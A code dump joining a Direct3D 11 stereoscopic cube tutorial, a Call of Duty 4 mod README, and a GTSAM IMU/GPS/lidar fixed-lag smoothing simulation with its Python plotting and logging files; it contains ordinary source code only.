descDepth.BindFlags = D3D11_BIND_DEPTH_STENCIL;
descDepth.CPUAccessFlags = 0;
descDepth.MiscFlags = 0;
hr = g_pd3dDevice->CreateTexture2D(&descDepth, nullptr, &g_pDepthStencil);
if (FAILED(hr))
return hr;
// Create the depth stencil view
//
// This is not strictly necessary for our 3D, but is almost always used.
D3D11_DEPTH_STENCIL_VIEW_DESC descDSV;
ZeroMemory(&descDSV, sizeof(descDSV));
descDSV.Format = descDepth.Format;
descDSV.ViewDimension = D3D11_DSV_DIMENSION_TEXTURE2D;
descDSV.Texture2D.MipSlice = 0;
hr = g_pd3dDevice->CreateDepthStencilView(g_pDepthStencil, &descDSV, &g_pDepthStencilView);
if (FAILED(hr))
return hr;
g_pImmediateContext->OMSetRenderTargets(1, &g_pRenderTargetView, g_pDepthStencilView);
// This viewport is 2x the screen width. The documentation directly contradicts
// this usage and suggests per-eye specific ViewPorts, but this works correctly.
D3D11_VIEWPORT vp;
vp.Width = (FLOAT)g_ScreenWidth;// *2; // Direct stereo needs the viewport 2x as well
vp.Height = (FLOAT)g_ScreenHeight;
vp.MinDepth = 0.0f;
vp.MaxDepth = 1.0f;
vp.TopLeftX = 0;
vp.TopLeftY = 0;
g_pImmediateContext->RSSetViewports(1, &vp);
// Compile the vertex shader
ID3DBlob* pVSBlob = nullptr;
hr = CompileShaderFromFile(L"Tutorial07.fx", "VS", "vs_4_0", &pVSBlob);
if (FAILED(hr))
{
MessageBox(nullptr,
L"The FX file cannot be compiled. Please run this executable from the directory that contains the FX file.", L"Error", MB_OK);
return hr;
}
// Create the vertex shader
hr = g_pd3dDevice->CreateVertexShader(pVSBlob->GetBufferPointer(), pVSBlob->GetBufferSize(), nullptr, &g_pVertexShader);
if (FAILED(hr))
{
pVSBlob->Release();
return hr;
}
// Define the input layout
D3D11_INPUT_ELEMENT_DESC layout[] =
{
{ "POSITION", 0, DXGI_FORMAT_R32G32B32_FLOAT, 0, 0, D3D11_INPUT_PER_VERTEX_DATA, 0 },
{ "TEXCOORD", 0, DXGI_FORMAT_R32G32_FLOAT, 0, 12, D3D11_INPUT_PER_VERTEX_DATA, 0 },
};
UINT numElements = ARRAYSIZE(layout);
// Create the input layout
hr = g_pd3dDevice->CreateInputLayout(layout, numElements, pVSBlob->GetBufferPointer(),
pVSBlob->GetBufferSize(), &g_pVertexLayout);
pVSBlob->Release();
if (FAILED(hr))
return hr;
// Set the input layout
g_pImmediateContext->IASetInputLayout(g_pVertexLayout);
// Compile the pixel shader
ID3DBlob* pPSBlob = nullptr;
hr = CompileShaderFromFile(L"Tutorial07.fx", "PS", "ps_4_0", &pPSBlob);
if (FAILED(hr))
{
MessageBox(nullptr,
L"The FX file cannot be compiled. Please run this executable from the directory that contains the FX file.", L"Error", MB_OK);
return hr;
}
// Create the pixel shader
hr = g_pd3dDevice->CreatePixelShader(pPSBlob->GetBufferPointer(), pPSBlob->GetBufferSize(), nullptr, &g_pPixelShader);
pPSBlob->Release();
if (FAILED(hr))
return hr;
// Create vertex buffer for the cube
SimpleVertex vertices[] =
{
{ XMFLOAT3(-1.0f, 1.0f, -1.0f), XMFLOAT2(1.0f, 0.0f) },
{ XMFLOAT3(1.0f, 1.0f, -1.0f), XMFLOAT2(0.0f, 0.0f) },
{ XMFLOAT3(1.0f, 1.0f, 1.0f), XMFLOAT2(0.0f, 1.0f) },
{ XMFLOAT3(-1.0f, 1.0f, 1.0f), XMFLOAT2(1.0f, 1.0f) },
{ XMFLOAT3(-1.0f, -1.0f, -1.0f), XMFLOAT2(0.0f, 0.0f) },
{ XMFLOAT3(1.0f, -1.0f, -1.0f), XMFLOAT2(1.0f, 0.0f) },
{ XMFLOAT3(1.0f, -1.0f, 1.0f), XMFLOAT2(1.0f, 1.0f) },
{ XMFLOAT3(-1.0f, -1.0f, 1.0f), XMFLOAT2(0.0f, 1.0f) },
{ XMFLOAT3(-1.0f, -1.0f, 1.0f), XMFLOAT2(0.0f, 1.0f) },
{ XMFLOAT3(-1.0f, -1.0f, -1.0f), XMFLOAT2(1.0f, 1.0f) },
{ XMFLOAT3(-1.0f, 1.0f, -1.0f), XMFLOAT2(1.0f, 0.0f) },
{ XMFLOAT3(-1.0f, 1.0f, 1.0f), XMFLOAT2(0.0f, 0.0f) },
{ XMFLOAT3(1.0f, -1.0f, 1.0f), XMFLOAT2(1.0f, 1.0f) },
{ XMFLOAT3(1.0f, -1.0f, -1.0f), XMFLOAT2(0.0f, 1.0f) },
{ XMFLOAT3(1.0f, 1.0f, -1.0f), XMFLOAT2(0.0f, 0.0f) },
{ XMFLOAT3(1.0f, 1.0f, 1.0f), XMFLOAT2(1.0f, 0.0f) },
{ XMFLOAT3(-1.0f, -1.0f, -1.0f), XMFLOAT2(0.0f, 1.0f) },
{ XMFLOAT3(1.0f, -1.0f, -1.0f), XMFLOAT2(1.0f, 1.0f) },
{ XMFLOAT3(1.0f, 1.0f, -1.0f), XMFLOAT2(1.0f, 0.0f) },
{ XMFLOAT3(-1.0f, 1.0f, -1.0f), XMFLOAT2(0.0f, 0.0f) },
{ XMFLOAT3(-1.0f, -1.0f, 1.0f), XMFLOAT2(1.0f, 1.0f) },
{ XMFLOAT3(1.0f, -1.0f, 1.0f), XMFLOAT2(0.0f, 1.0f) },
{ XMFLOAT3(1.0f, 1.0f, 1.0f), XMFLOAT2(0.0f, 0.0f) },
{ XMFLOAT3(-1.0f, 1.0f, 1.0f), XMFLOAT2(1.0f, 0.0f) },
};
D3D11_BUFFER_DESC bd;
ZeroMemory(&bd, sizeof(bd));
bd.Usage = D3D11_USAGE_DEFAULT;
bd.ByteWidth = sizeof(SimpleVertex) * 24;
bd.BindFlags = D3D11_BIND_VERTEX_BUFFER;
bd.CPUAccessFlags = 0;
D3D11_SUBRESOURCE_DATA InitData;
ZeroMemory(&InitData, sizeof(InitData));
InitData.pSysMem = vertices;
hr = g_pd3dDevice->CreateBuffer(&bd, &InitData, &g_pVertexBuffer);
if (FAILED(hr))
return hr;
// Set vertex buffer
UINT stride = sizeof(SimpleVertex);
UINT offset = 0;
g_pImmediateContext->IASetVertexBuffers(0, 1, &g_pVertexBuffer, &stride, &offset);
// Create index buffer
// Create vertex buffer
WORD indices[] =
{
3, 1, 0,
2, 1, 3,
6, 4, 5,
7, 4, 6,
11, 9, 8,
10, 9, 11,
14, 12, 13,
15, 12, 14,
19, 17, 16,
18, 17, 19,
22, 20, 21,
23, 20, 22
};
bd.Usage = D3D11_USAGE_DEFAULT;
bd.ByteWidth = sizeof(WORD) * 36;
bd.BindFlags = D3D11_BIND_INDEX_BUFFER;
bd.CPUAccessFlags = 0;
InitData.pSysMem = indices;
hr = g_pd3dDevice->CreateBuffer(&bd, &InitData, &g_pIndexBuffer);
if (FAILED(hr))
return hr;
// Set index buffer
g_pImmediateContext->IASetIndexBuffer(g_pIndexBuffer, DXGI_FORMAT_R16_UINT, 0);
// Set primitive topology
g_pImmediateContext->IASetPrimitiveTopology(D3D11_PRIMITIVE_TOPOLOGY_TRIANGLELIST);
// Create the constant buffer
bd.Usage = D3D11_USAGE_DEFAULT;
bd.ByteWidth = sizeof(SharedCB);
bd.BindFlags = D3D11_BIND_CONSTANT_BUFFER;
bd.CPUAccessFlags = 0;
hr = g_pd3dDevice->CreateBuffer(&bd, nullptr, &g_pSharedCB);
if (FAILED(hr))
return hr;
// Initialize the world matrix
g_World = XMMatrixIdentity();
// Initialize the view matrix
XMVECTOR Eye = XMVectorSet(0.0f, 3.0f, -6.0f, 0.0f);
XMVECTOR At = XMVectorSet(0.0f, 1.0f, 0.0f, 0.0f);
XMVECTOR Up = XMVectorSet(0.0f, 1.0f, 0.0f, 0.0f);
g_View = XMMatrixLookAtLH(Eye, At, Up);
// Initialize the projection matrix
//
// For the projection matrix, the shaders know nothing about being in stereo,
// so this needs to be only ScreenWidth, one per eye.
g_Projection = XMMatrixPerspectiveFovLH(XM_PIDIV4, (float)g_ScreenWidth / (float)g_ScreenHeight, 0.01f, 100.0f);
return S_OK;
}
//--------------------------------------------------------------------------------------
// Clean up the objects we've created
//--------------------------------------------------------------------------------------
void CleanupDevice()
{
if (g_pSwapChain) g_pSwapChain->SetFullscreenState(FALSE, nullptr);
if (g_pImmediateContext) g_pImmediateContext->ClearState();
if (g_pSharedCB) g_pSharedCB->Release();
if (g_pVertexBuffer) g_pVertexBuffer->Release();
if (g_pIndexBuffer) g_pIndexBuffer->Release();
if (g_pVertexLayout) g_pVertexLayout->Release();
if (g_pVertexShader) g_pVertexShader->Release();
if (g_pPixelShader) g_pPixelShader->Release();
if (g_pDepthStencil) g_pDepthStencil->Release();
if (g_pDepthStencilView) g_pDepthStencilView->Release();
if (g_pRenderTargetView) g_pRenderTargetView->Release();
if (g_pSwapChain) g_pSwapChain->Release();
if (g_pImmediateContext) g_pImmediateContext->Release();
if (g_pd3dDevice) g_pd3dDevice->Release();
if (g_StereoHandle) NvAPI_Stereo_DestroyHandle(g_StereoHandle);
}
//--------------------------------------------------------------------------------------
// Called every time the application receives a message
//--------------------------------------------------------------------------------------
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
PAINTSTRUCT ps;
HDC hdc;
switch (message)
{
case WM_PAINT:
hdc = BeginPaint(hWnd, &ps);
EndPaint(hWnd, &ps);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
// Note that this tutorial does not handle resizing (WM_SIZE) requests,
// so we created the window without the resize border.
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
//--------------------------------------------------------------------------------------
// Render current image, eye independent.
//--------------------------------------------------------------------------------------
void Render()
{
//
// Clear the back buffer
//
// Even though this uses the g_pRenderTargetView, it only affects half the backbuffer,
// because we have set a specific eye.
//
g_pImmediateContext->ClearRenderTargetView(g_pRenderTargetView, Colors::MidnightBlue);
//
// Clear the depth buffer to 1.0 (max depth)
//
// Also done on a per-eye basis.
//
g_pImmediateContext->ClearDepthStencilView(g_pDepthStencilView, D3D11_CLEAR_DEPTH, 1.0f, 0);
//
// Render the cube
//
// Projection matrix in g_pSharedCB determines eye view.
//
g_pImmediateContext->VSSetShader(g_pVertexShader, nullptr, 0);
g_pImmediateContext->VSSetConstantBuffers(0, 1, &g_pSharedCB);
g_pImmediateContext->PSSetShader(g_pPixelShader, nullptr, 0);
g_pImmediateContext->DrawIndexed(36, 0, 0);
}
//--------------------------------------------------------------------------------------
// Render a frame, both eyes.
//--------------------------------------------------------------------------------------
void RenderFrame()
{
//
// Rotate cube around the origin
//
g_World = XMMatrixRotationY(GetTickCount64() / 1000.0f);
//
// This now includes changing CBChangeOnResize each frame as well, because
// we need to update the Projection matrix each frame, in case the user changes
// the 3D settings.
// The variable names are a bit misleading at present.
//
NvAPI_Status status;
SharedCB cb;
float pConvergence;
float pSeparationPercentage;
float pEyeSeparation;
status = NvAPI_Stereo_GetConvergence(g_StereoHandle, &pConvergence);
status = NvAPI_Stereo_GetSeparation(g_StereoHandle, &pSeparationPercentage);
status = NvAPI_Stereo_GetEyeSeparation(g_StereoHandle, &pEyeSeparation);
//
// Set the shared buffer to new rotated g_world for every frame, which creates the animation.
//
cb.mWorld = XMMatrixTranspose(g_World);
cb.mView = XMMatrixTranspose(g_View);
cb.mProjection = XMMatrixTranspose(g_Projection);
g_pImmediateContext->UpdateSubresource(g_pSharedCB, 0, nullptr, &cb, 0, 0);
Render();
//
// Present our back buffer to our front buffer
//
g_pSwapChain->Present(0, 0);
}
|
066fc0b677ece75d3e9dc697f4af30657e240307
|
[
"Markdown",
"C++"
] | 2 |
Markdown
|
bo3b/3D-Vision-Automatic
|
1179ae11efbf051afe03e40aabe76cbf5951fd98
|
15061c14ad1f8157a54252da7f1697e4b580c8a1
|
refs/heads/master
|
<file_sep># FNRP-Deathrun-Development
Development of the new FNRP Death Run Mod (2017)
makeMod.bat only works on my PC. CoD4.exe runs mods/dev (mod.ff copies to /dev)
<file_sep>#define BUILD "Build:^5 90"
|
0c13c22cd1c5887f0ebe49ed619c857072e43050
|
[
"Markdown",
"C++"
] | 2 |
Markdown
|
ConnorHartland/deathrun_dev
|
0126ceab9a7236f485022aeec42830068b9a829e
|
8c08590c7b59181eadc6ae8d53443baf4a2bd40b
|
refs/heads/master
|
<repo_name>gduenas001/gtsam_examples<file_sep>/scenario_isam.cpp
// TODO
// - need to figure out how the imu noise is specified: continuous - discrete time conversion.
// - data association for landmarks
// - different frequencies for GPS and lidar
// - Change naming convention of functions -> use underscores, not capital letters
// - add option for the python plot
// - check t vector depending on the order of variables
// - use TRACE to indicate when functions are enter and exit and DEBUG to show data (disabled by default)
// - log data in python and save to file
// - check if the variances correspond to each other (use python logging for this)
#include <gtsam/slam/dataset.h>
#include <gtsam/slam/BetweenFactor.h>
#include <typeinfo>
#include <boost/math/distributions/chi_squared.hpp>
#include <gtsam_unstable/nonlinear/IncrementalFixedLagSmoother.h>
#include "helpers.h"
#include "parser.h"
#include "Counters.h"
#include "add_factors.h"
#include "Solution.h"
#include "calculate_LIR.h"
using namespace std;
using namespace gtsam;
// init log file
INITIALIZE_EASYLOGGINGPP
// ----------------------------------------------------
int main(int argc, char** argv) {
// parse the options
Params params= load_params_from_file();
params_parser(argc, argv, params);
// build variable from params
build_variables(params);
// prepare logs
params.workspace= prepare_log(params);
// initilize random engine for noise generation
default_random_engine
noise_generator= initialize_noise_generator(params.seed);
// scenario to simulate measurements and ground truth
ConstantTwistScenario
scenario= create_constant_twist_scenario(params.scenario_radius,
params.scenario_linear_vel);
// save data - initilize vector of solutions
vector<Solution> solutions;
// Create factor graph & timestamps to update ISAM2 fixed-lag smoother
NonlinearFactorGraph newgraph;
FixedLagSmoother::KeyTimestampMap new_timestamps;
// Create the initial estimate to the solution
Values initial_estimate, result;
// fixed-lag smoother
IncrementalFixedLagSmoother
fixed_lag_smoother(params.lag, params.fl_isam_params);
// initialize variables
LIR lir;
Counters counters(params);
NavState prev_state, predict_state;
imuBias::ConstantBias prev_bias;
FixedLagSmoother::Result isam_result;
// add prior factor
add_prior_factor(newgraph,
new_timestamps,
initial_estimate,
scenario,
noise_generator,
counters,
params);
// solve the graph once
fixed_lag_smoother.update(newgraph,
initial_estimate,
new_timestamps);
result= fixed_lag_smoother.calculateEstimate();
solutions.push_back(Solution(fixed_lag_smoother,
result,
counters,
scenario,
params.workspace,
lir) );
newgraph= NonlinearFactorGraph();
initial_estimate.clear();
new_timestamps.clear();
LOG(INFO)<< "Graph initilized";
// Simulate poses and imu measurements, adding them to the factor graph
while (counters.current_time < params.sim_time){
counters.increase_time();
// Simulate acceleration and gyro measurements in (actual) body frame
Vector3 msmt_acc= sim_imu_acc(scenario,
noise_generator,
params.noise_dist["acc"],
params.imu_params->n_gravity,
counters.current_time,
params.is_noisy["imu"]);
Vector3 msmt_w= sim_imu_w(scenario.omega_b(counters.current_time),
noise_generator,
params.noise_dist["gyro"],
params.is_noisy["imu"]);
// Preintegrate IMU msmts
params.accum.integrateMeasurement(msmt_acc,
msmt_w,
params.dt_imu);
// GPS update
if (counters.gps_time_accum > params.dt_gps) {
LOG(INFO)<< "--------- Time: "<< counters.current_time<< " ---------";
// increase the factor count
counters.increase_factors_count();
// set the time stamp for the new factor
new_timestamps[X(counters.current_factor)]= counters.current_time;
new_timestamps[V(counters.current_factor)]= counters.current_time;
new_timestamps[B(counters.current_factor)]= counters.current_time;
// predict from IMU accumulated msmts
prev_state= NavState(result.at<Pose3> (X(counters.prev_factor)),
result.at<Vector3>(V(counters.prev_factor)));
prev_bias= result.at<imuBias::ConstantBias>(B(counters.prev_factor));
predict_state= params.accum.predict(prev_state, prev_bias);
// predicted init values
initial_estimate.insert(X(counters.current_factor), predict_state.pose());
initial_estimate.insert(V(counters.current_factor), predict_state.velocity());
initial_estimate.insert(B(counters.current_factor), prev_bias);
// Add IMU Factor
CombinedImuFactor imu_factor(X(counters.prev_factor), V(counters.prev_factor),
X(counters.current_factor), V(counters.current_factor),
B(counters.prev_factor), B(counters.current_factor),
params.accum);
add_imu_factor(newgraph,
imu_factor,
counters);
// Adding GPS factor
Point3 gps_msmt= sim_gps_msmt(
scenario.pose(counters.current_time).translation(),
noise_generator,
params.noise_dist["range"],
params.is_noisy["gps"] );
GPSFactor gps_factor(X(counters.current_factor),
gps_msmt,
params.gps_cov);
add_gps_factor(newgraph,
gps_factor,
counters);
// lidar measurements
for (int j = 0; j < params.landmarks.size(); ++j) {
RangeBearingMeasurement
range_bearing_msmt= sim_lidar_msmt(scenario,
params.landmarks[j],
counters.current_time,
params,
noise_generator,
params.is_noisy["lidar"]);
// range-bearing factor
RangeBearingFactorMap
range_bearing_factor(X(counters.current_factor),
range_bearing_msmt.range,
range_bearing_msmt.bearing,
params.landmarks[j],
params.lidar_cov);
add_lidar_factor(newgraph,
range_bearing_factor,
counters);
}
// Incremental solution
isam_result= fixed_lag_smoother.update(newgraph,
initial_estimate,
new_timestamps);
for (int i = 0; i < 3; ++i) {
isam_result= fixed_lag_smoother.update();
}
result= fixed_lag_smoother.calculateEstimate();
// if there's been marginalization -> add factor
if (counters.current_time > params.lag){
counters.add_factor("marginalized_prior");
}
// update counters (with marginalization if neccessary)
counters.update_A_rows(params.lag);
// compute the LIR
lir= calculate_LIR(result,
fixed_lag_smoother,
counters,
params);
// save the solution
solutions.push_back(Solution(fixed_lag_smoother,
result,
counters,
scenario,
params.workspace,
lir));
// reset variables
newgraph= NonlinearFactorGraph();
params.accum.resetIntegration();
initial_estimate.clear();
new_timestamps.clear();
counters.reset_timer();
} // end of GPS update
} // end for loop
LOG(INFO)<< "End of simulation";
// print path with python
string command =
"python ../python/analysis.py --workspace " + params.workspace;
system(command.c_str());
return 0;
}
<file_sep>/parser.h
#pragma once
#include <stdlib.h>
#include <iostream>
#include <fstream>
#include <getopt.h>
#include <cmath>
#include <gtsam/geometry/SimpleCamera.h>
#include <gtsam/nonlinear/NonlinearFactor.h>
#include <gtsam/navigation/CombinedImuFactor.h>
#include <random>
#include <gtsam/nonlinear/ISAM2.h>
#include <algorithm>
#include "Params.h"
using namespace gtsam;
using namespace std;
/*
loads the params from "params.txt" into a Params struct
TODO: remove default values from the params initilization
*/
Params load_params_from_file();
/*
adds the parameter read from the text file to the Params
struct
*/
bool add_parameter(std::string name,
std::string value,
Params ¶ms);
/*
reads a line with the x y z for a landmark and
returns it as a Point3
*/
gtsam::Point3 read_landmark(string line);
/*
This function builds the parameters from the inputs given,
e.g. from the inputs "AL_x", "AL_y", and "AL_z" it builds a
map to access them as "params.AL["x"]", "params.AL["y"]", and "params.AL["z"]".
*/
void build_variables(Params ¶ms);
/*
Function to parse the options at runtime
*/
int params_parser(int argc, char **argv, Params ¶ms);
/*
Prints the params struct
NOTE: if you add a new value, you have to add it to
this function too b/c it doesn't automatically
iterate through the parameters
*/
void print_params(const Params ¶ms);
<file_sep>/third_party/easyloggingpp/build/CTestTestfile.cmake
# CMake generated Testfile for
# Source directory: /Users/gdarana/iit/gtsam/third_party/easyloggingpp
# Build directory: /Users/gdarana/iit/gtsam/third_party/easyloggingpp/build
#
# This file includes the relevant testing commands required for
# testing this directory and lists subdirectories to be tested as well.
add_test(easyloggingppUnitTests "/Users/gdarana/iit/gtsam/third_party/easyloggingpp/build/easyloggingpp-unit-tests" "-v")
set_tests_properties(easyloggingppUnitTests PROPERTIES _BACKTRACE_TRIPLES "/Users/gdarana/iit/gtsam/third_party/easyloggingpp/CMakeLists.txt;100;add_test;/Users/gdarana/iit/gtsam/third_party/easyloggingpp/CMakeLists.txt;0;")
<file_sep>/python_plot.py
'''
Function that reads the .csv files of the output in the results folder
and creates useful plots. This is an ad-hoc solution because plotting with python is so much easier
than plotting with C++.
'''
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
import numpy as np
import csv
# initialize figure
fig = plt.figure()
ax= plt.subplot(111, projection='3d')
# add estimated positions to the plot
estimated_positions_x= []
estimated_positions_y= []
estimated_positions_z= []
with open('../results/estimated_positions.csv', 'rb') as csvfile:
estimated_positions = csv.reader(csvfile, delimiter=',')
for position in estimated_positions:
try:
estimated_positions_x.append(float(position[0]))
estimated_positions_y.append(float(position[1]))
estimated_positions_z.append(float(position[2]))
except:
pass
# add estimated positions to the plot
true_positions_x= []
true_positions_y= []
true_positions_z= []
with open('../results/true_positions.csv', 'rb') as csvfile:
true_positions = csv.reader(csvfile, delimiter=',')
for position in true_positions:
try:
true_positions_x.append( float(position[0]) )
true_positions_y.append( float(position[1]) )
true_positions_z.append( float(position[2]) )
except:
pass
# add landmarks to the plot
landmarks_x= []
landmarks_y= []
landmarks_z= []
with open('../results/landmarks.csv', 'rb') as csvfile:
true_positions = csv.reader(csvfile, delimiter=',')
for position in true_positions:
landmarks_x.append( float(position[0]) )
landmarks_y.append( float(position[1]) )
landmarks_z.append( float(position[2]) )
plt.plot(estimated_positions_x, estimated_positions_y, estimated_positions_z, color= 'b', linestyle='-', marker='o')
plt.plot(true_positions_x, true_positions_y, true_positions_z, color= 'r', linestyle='-')
ax.scatter3D(landmarks_x, landmarks_y, landmarks_z, color= 'g', marker='^', s=100)
x_max = max(max(estimated_positions_x) , max(landmarks_x)) + 1
y_max = max(max(estimated_positions_y) , max(landmarks_y)) + 1
z_max = max(max(estimated_positions_z) , max(landmarks_z)) + 1
x_min = min(min(estimated_positions_x) , min(landmarks_x)) - 1
y_min = min(min(estimated_positions_y) , min(landmarks_y)) - 1
z_min = min(min(estimated_positions_z) , min(landmarks_z)) - 1
max_range = np.array([x_max - x_min, y_max - y_min, z_max - z_min]).max() / 2.0
mid_x = ( x_max + x_min ) * 0.5
mid_y = ( y_max + y_min ) * 0.5
mid_z = ( z_max + z_min ) * 0.5
ax.set_xlim(mid_x - max_range, mid_x + max_range)
ax.set_ylim(mid_y - max_range, mid_y + max_range)
ax.set_zlim(mid_z - max_range, mid_z + max_range)
# add axis
ax.set_xlabel('X')
ax.set_ylabel('Y')
ax.set_zlabel('Z')
plt.show(block=False)
plt.pause(10)
plt.close()
# plt.show()
print "figure closed"
# x = np.linspace(0, 10, 500)
# y = np.sin(x)
# fig, ax = plt.subplots()
# # Using set_dashes() to modify dashing of an existing line
# line1, = ax.plot(x, y, label='Using set_dashes()')
# line1.set_dashes([2, 2, 10, 2]) # 2pt line, 2pt break, 10pt line, 2pt break
# # Using plot(..., dashes=...) to set the dashing when creating a line
# line2, = ax.plot(x, y - 0.2, dashes=[6, 2], label='Using the dashes parameter')
# ax.legend()
# plt.show()<file_sep>/Solution.cpp
#include "helpers.h"
#include "Solution.h"
using namespace std;
using namespace gtsam;
// -------------------------------------------------------
Solution::Solution(const gtsam::IncrementalFixedLagSmoother &fixed_lag_smoother,
const gtsam::Values &result,
const Counters &counters,
const ConstantTwistScenario &scenario,
const string &workspace,
const LIR &lir){
// time
this->time= counters.current_time;
// copy LIR
this->lir= lir;
// get current variance
this->variances= get_variances_for_last_pose_new(
fixed_lag_smoother,
counters);
// estimate state
this->nav_state= NavState(
result.at<Pose3> (X(counters.current_factor)),
result.at<Vector3>(V(counters.current_factor)));
this->imu_bias= result.at<imuBias::ConstantBias>(B(counters.current_factor));
// true state
this->true_nav_state= NavState(
scenario.pose(counters.current_time),
scenario.velocity_n(counters.current_time) );
// error (15dof)
this->errors.set_errors(
(nav_state.pose().rotation() * Rot3(true_nav_state.pose().rotation().transpose())).rpy(),
nav_state.pose().translation() - true_nav_state.pose().translation(),
nav_state.bodyVelocity() - true_nav_state.bodyVelocity(),
this->imu_bias.vector() );
this->error.segment<3>(0)=
(nav_state.pose().rotation() * Rot3(true_nav_state.pose().rotation().transpose())).rpy();
this->error.segment<3>(3)=
nav_state.pose().translation() - true_nav_state.pose().translation();
this->error.segment<3>(6)=
nav_state.bodyVelocity() - true_nav_state.bodyVelocity();
this->error.segment<6>(9)=
this->imu_bias.vector();
// get the factor graph & Jacobian from isam
NonlinearFactorGraph
factor_graph= fixed_lag_smoother.getFactors();
// save the sum of residuals per type
int factor_count= -1;
for (auto factor : factor_graph){
++factor_count;
if (!factor) {continue;}
double factor_error= 2 * factor->error(result);
double factor_dim= factor->dim();
if (counters.types[factor_count] == "odom"){
this->residuals.odom.value += factor_error;
++this->residuals.odom.num_factors;
} else if (counters.types[factor_count] == "gps"){
this->residuals.gps.value += factor_error;
++this->residuals.gps.num_factors;
} else if (counters.types[factor_count] == "lidar"){
this->residuals.lidar.value += factor_error;
++this->residuals.lidar.num_factors;
} else if (counters.types[factor_count] == "prior_pose"){
this->residuals.prior_pose.value += factor_error;
++this->residuals.prior_pose.num_factors;
} else if (counters.types[factor_count] == "prior_vel"){
this->residuals.prior_vel.value += factor_error;
++this->residuals.prior_vel.num_factors;
} else if (counters.types[factor_count] == "prior_bias"){
this->residuals.prior_bias.value += factor_error;
++this->residuals.prior_bias.num_factors;
} else if (counters.types[factor_count] == "marginalized_prior"){
this->residuals.marginalized_prior.value += factor_error;
++this->residuals.marginalized_prior.num_factors;
} else {
cout<< "Type " + counters.types[factor_count] + " not added"<< endl;
}
// // print the factor info
// cout<< "factor # "<< factor_count<< "\t"
// << "type: "<< counters.types[factor_count]<< "\t\t"
// << "dim: "<< factor_dim<< "\t"
// << "error: "<< factor_error<< "\t";
// factor->printKeys();
// TODO: check that this is the same as the error for the graph
this->residuals.sum.value += factor_error;
++this->residuals.sum.num_factors;
}
// write solution to file
this->write_to_file(workspace);
}
// -------------------------------------------------------
bool Solution::write_to_file(const string &workspace){
// initialize stream
fstream stream;
string filename= "";
// write time + estimated state (15dof) to a file
filename= workspace + "/estimated_states.csv";
stream.open(filename.c_str(), fstream::app);
stream << this->time << ","
<< this->nav_state.pose().rotation().roll() << ","
<< this->nav_state.pose().rotation().pitch() << ","
<< this->nav_state.pose().rotation().yaw() << ","
<< this->nav_state.pose().x() << ","
<< this->nav_state.pose().y() << ","
<< this->nav_state.pose().z() << ","
<< this->nav_state.bodyVelocity()[0] << ","
<< this->nav_state.bodyVelocity()[1] << ","
<< this->nav_state.bodyVelocity()[2] << ","
<< Point3(this->imu_bias.accelerometer()).x() << ","
<< Point3(this->imu_bias.accelerometer()).y() << ","
<< Point3(this->imu_bias.accelerometer()).z() << ","
<< Point3(this->imu_bias.gyroscope()).x() << ","
<< Point3(this->imu_bias.gyroscope()).y() << ","
<< Point3(this->imu_bias.gyroscope()).z()
<< endl;
stream.close();
// write time + true state (15dof) to a file
filename= workspace + "/true_states.csv";
stream.open(filename.c_str(), fstream::app);
stream << this->time << ","
<< this->true_nav_state.pose().rotation().roll() << ","
<< this->true_nav_state.pose().rotation().pitch() << ","
<< this->true_nav_state.pose().rotation().yaw() << ","
<< this->true_nav_state.pose().x() << ","
<< this->true_nav_state.pose().y() << ","
<< this->true_nav_state.pose().z() << ","
<< this->true_nav_state.bodyVelocity()[0] << ","
<< this->true_nav_state.bodyVelocity()[1] << ","
<< this->true_nav_state.bodyVelocity()[2]
<< endl;
stream.close();
// write time + variances to a file
filename= workspace + "/variances.csv";
stream.open(filename.c_str(), fstream::app);
stream << this->time << ","
<< this->variances.roll.value << ","
<< this->variances.pitch.value << ","
<< this->variances.yaw.value << ","
<< this->variances.x.value << ","
<< this->variances.y.value << ","
<< this->variances.z.value << ","
<< this->variances.v_x.value << ","
<< this->variances.v_y.value << ","
<< this->variances.v_z.value << ","
<< this->variances.b_accel_x.value << ","
<< this->variances.b_accel_y.value << ","
<< this->variances.b_accel_z.value << ","
<< this->variances.b_gyro_x.value << ","
<< this->variances.b_gyro_y.value << ","
<< this->variances.b_gyro_z.value
<< endl;
stream.close();
// write time + residuals to a file
filename= workspace + "/residuals.csv";
stream.open(filename.c_str(), fstream::app);
stream << this->time << ","
<< this->residuals.odom.value << ","
<< this->residuals.gps.value << ","
<< this->residuals.lidar.value << ","
<< this->residuals.prior_pose.value << ","
<< this->residuals.prior_vel.value << ","
<< this->residuals.prior_bias.value << ","
<< this->residuals.marginalized_prior.value << ","
<< this->residuals.sum.value << ","
<< this->residuals.odom.num_factors << ","
<< this->residuals.gps.num_factors << ","
<< this->residuals.lidar.num_factors << ","
<< this->residuals.prior_pose.num_factors << ","
<< this->residuals.prior_vel.num_factors << ","
<< this->residuals.marginalized_prior.num_factors << ","
<< this->residuals.sum.num_factors
<< endl;
stream.close();
// write time + error (15dof) to a file
filename= workspace + "/errors.csv";
stream.open(filename.c_str(), fstream::app);
stream<< this->time;
for (int i = 0; i < 15; ++i) {
stream<< ", "<< this->error[i];
}
stream << '\n';
stream.close();
// write time + LIR_x + LIR_y + LIR_z to a file
filename= workspace + "/lir.csv";
stream.open(filename.c_str(), fstream::app);
stream<< this->time << ",";
stream // null
<< this->lir.null.x << ","
<< this->lir.null.y << ","
<< this->lir.null.z << ","
// lidar
<< this->lir.lidar.x << ","
<< this->lir.lidar.y << ","
<< this->lir.lidar.z << ","
// gps
<< this->lir.gps.x << ","
<< this->lir.gps.y << ","
<< this->lir.gps.z;
stream<< '\n';
stream.close();
return true;
}
<file_sep>/add_factors.cpp
#include "add_factors.h"
using namespace std;
using namespace gtsam;
// -------------------------------------------------------
// -------------------------------------------------------
void add_prior_factor(NonlinearFactorGraph &new_graph,
FixedLagSmoother::KeyTimestampMap &new_timestamps,
Values &initial_estimate,
const Scenario &scenario,
default_random_engine &noise_generator,
Counters &counters,
Params ¶ms){
LOG(TRACE)<< "Enter add_prior_factor";
// Add a prior on pose x0. This indirectly specifies where the origin is.
noiseModel::Diagonal::shared_ptr
pose_noise_model=
noiseModel::Diagonal::Sigmas((Vector(6) <<
Vector3::Constant(0.01),
Vector3::Constant(0.1) ).finished() );
// simulate a prior pose measurement
Rot3 prior_orientation_msmt= scenario.pose(0).rotation();
Point3 prior_position_msmt= scenario.pose(0).translation();
if (params.is_noisy["prior"]){
